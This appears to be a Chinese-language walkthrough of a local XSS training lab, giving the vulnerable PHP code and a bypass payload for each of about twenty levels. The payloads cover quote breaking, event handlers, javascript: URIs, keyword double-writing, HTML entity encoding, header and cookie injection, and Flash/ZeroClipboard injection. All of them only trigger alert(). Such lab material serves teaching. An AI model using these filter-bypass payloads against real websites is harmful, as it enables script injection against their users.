Level-1

http://127.0.0.1/xss/level1.php?name=<script>alert(1);</script>

Level-2

关键语句

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">

构造”>来闭合掉代码前面的”“

http://127.0.0.1/xss/level2.php?keyword="><script>alert(1);</script>&submit=%E6%90%9C%E7%B4%A2

Level-3

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>

使用了htmlspecialchars来进行过滤

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号)成为 &

(双引号)成为 “

(单引号)成为 ‘

< (小于)成为 <

> (大于)成为 >

htmlspecialchars默认配置不会过滤单引号,但是设置了:quotestyle选项为ENT_QUOTES才会过滤单引号

如果输出为?name=’onmouseover=’alert(1)

仍然是会绕过htmlspecialchars()函数的检查,造成一个反射型的xss,此处为单引号闭合

http://127.0.0.1/xss/level3.php?keyword=' onmouseover='alert(1)

Level-4

测试payload:

'';!--"<XSS>=&{()}

尖括号被去除

关键代码

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
"onmouseover='alert(1)'

Level-5

关键代码

str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">

过滤了<script、<scr_ipt、on、o_n

利用javascript伪协议

"><a href="javascript:alert(/xss/)">xss</a>

Level-6

关键代码

ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">

利用大小写绕过

" ONfocus= "alert(/1/)
"><a HRef="javascript:alert(/xss/)">xss</a>
大小写绕一下都可以用

Level-7

关键代码

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">

过滤都被替换为了空字符,那么采用双写绕过

" oonnfocus= "alert(/1/)

Level-8

关键代码

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />


echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

做了双引号的转译和关键字改变。又由于是点击链接触发。

进行ASCII编码转换:

“ &#34

t &#116

: &#58

javascrip&\#116;:alert(1)

Level-9

关键代码

if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

因为使用的是strpos函数,所以只要在末尾加上http://就可以绕过验证了

javascript&#116;:alert(/1/)//http://

Level-10

关键代码

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"

有三个hidden,向三个框分别传参,再将最后一个框修改为test执行命令

http://127.0.0.1/xss/level10.php?t_link=1&t_history=2&t_sort=3 "onfocus=alert(1) type="text";

Level-11

关键代码

$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>

重点在第四个input,这里的$str33来源于$_SEVER去除掉大于小于号

那$str33就是可控的,用hack bar传referer

referer:"type="test" onclick="alert(1)">

Level-12

基于user-agent

同level11的payload

User-Agent:"type="test" onclick="alert(1)">

Level-13

关键代码

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">

$_COOKIE可控

payload:

Cookie:user="type="test" onclick="alert(1)">

Level-14

这题做不了

Level-15

关键代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include指令的用法

  • ng-include指令由于包含外部的HTML文件
  • 包含的内容将作为指定元素的子节点
  • Include属性的值可以是一个表达式,返回一个文件名
  • 默认情况下,包含的文件需要包含在同一个域名下
  • 如果单纯指定地址,必须要加引号、
  • 加载外部的html,script标签中的内容不执行
  • ng-include,加载外部html中含有style标签样式可以识别

可以把ng-include理解为php中的include函数,在本题中就是把src包含了进来

?src='level1.php?name= <img src=1 onerror=alert(1)>'

这里的level1.php是同一个域名下的文件,调用了level1文件,触发XSS

Level-16

关键代码

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>

过滤了script、 、、/、 、均替换为了&nbsp

进行绕过,用%0A代替空格

?keyword=<img%0Asrc=1%0Aonerror=alert(1)>

Level-17

关键代码

ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

给arg01和arg02传一个参,然后执行onmouseover就是了

?arg01=1&arg02=1%0Aonmouseover=alert(1)

Level-18

同上

Level-19

本地插件不支持(不知道是不是因为没有装flash的原因、、

image-20210902095918277

flash里面提示说sifr,js是没有定义的,用JPEXS进行反编译,查看源码

image-20210902100330444

看到这里的%s是可控的

image-20210902100602876

这里先把VERSION.WARNING以%s打散成为数组,然后再以version的方式组合成为字符串,(这里好多函数看不懂,第一次接触flash的代码

去查找一下version,也只找到了这个

image-20210902100926352

关键代码

image-20210902101927485

getURL只在内容为link的时候打开,

function contentIsLink()
{
return this.content.indexOf("<a ") == 0 && (this.content.indexOf("<a ") == this.content.lastIndexOf("<a ") && this.content.indexOf("</a>") == this.content.length - 4);
}

这也就限定了只能使用标签

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

于是构造arg01=version&arg02=123

image-20210902101426971

payload:

arg01=version&arg02=<a href="javascript:alert(1)">123</a>

Level-20

ZeroClipboard及其原理介绍

ZeroClipboard 是国外大神开发的一个用于剪贴板复制的 JS 插件,它是基于 Flash 来实现跨浏览器的复制功能的。当我们使用 ZeroClipboard 的时候,它会悄悄隐藏一个小小的 Flash 影片(swf),不会对我们的用户界面造成影响。我们只需要借助它实现复制功能就行了。ZeroClipboard 中的 “Zero” 指的就是”不可见,零干扰”。

不过从 Flash 10开始,由于浏览器和Flash的安全限制,要求用户必须在Flash区域上进行真实操作才能操作剪贴板。于是,ZeroClipboard 的作者想到一个办法:它将 Flash 做成透明的,以便于我们放在诸如链接、按钮等需要放置的任何地方。这样,用户界面看起来没有变化,当点击链接或按钮时,实际上点击是却是 Flash,从而实现复制操作。

简单讲,就是一个透明的flash覆盖在复制按钮上,点击的是flash而不是按钮,由flash来执行剪贴板的操作。所以我们到level-20的时候才什么都看不见

ZeroClipboard跨站脚本漏洞

ZeroClipboard 1.3.1及之前的版本中的ZeroClipboard.swf文件中存在跨站脚本漏洞。远程攻击者可借助特制的参数利用该漏洞注入任意Web脚本或HTML。

反编译了一下xsf04.swf

package
{
import flash.display.LoaderInfo;
import flash.display.Sprite;
import flash.display.StageScaleMode;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.external.ExternalInterface;
import flash.system.Security;
import flash.system.System;

public class ZeroClipboard extends Sprite
{


private var button:Sprite;

private var id:String = "";

private var clipText:String = "";

public function ZeroClipboard()
{
super();
stage.scaleMode = StageScaleMode.EXACT_FIT;
Security.allowDomain("*");
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
button = new Sprite();
button.buttonMode = true;
button.useHandCursor = true;
button.graphics.beginFill(13434624);
button.graphics.drawRect(0,0,Math.floor(flashvars.width),Math.floor(flashvars.height));
button.alpha = 0;
addChild(button);
//这里定义了按钮的长和宽
button.addEventListener(MouseEvent.CLICK,clickHandler);
button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
});
button.addEventListener(MouseEvent.MOUSE_OUT,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOut",null);//这里id从url中获得,没有过滤,从而导致了flash xss
});
button.addEventListener(MouseEvent.MOUSE_DOWN,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseDown",null);
});
button.addEventListener(MouseEvent.MOUSE_UP,function(param1:Event):*
{
ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseUp",null);
});
ExternalInterface.addCallback("setHandCursor",setHandCursor);
ExternalInterface.addCallback("setText",setText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"load",null);
}

public function setHandCursor(param1:Boolean) : *
{
button.useHandCursor = param1;
}

private function clickHandler(param1:Event) : void
{
System.setClipboard(clipText);
ExternalInterface.call("ZeroClipboard.dispatch",id,"complete",clipText);
}

public function setText(param1:*) : *
{
clipText = param1;
}
}
}

Class名为ZeroClipboard,先调用了ZeroClipboard函数,id从url地方获得,并且没有过滤

下一步就是需要进入到button.addEventListener函数,就需要先成功创建botton,那么久需要从url中传入按钮的长和宽。

payload:

?arg01=id&arg02=\"))}catch(e){alert(/XSS/);}//%26width%26height

%26为&的url编码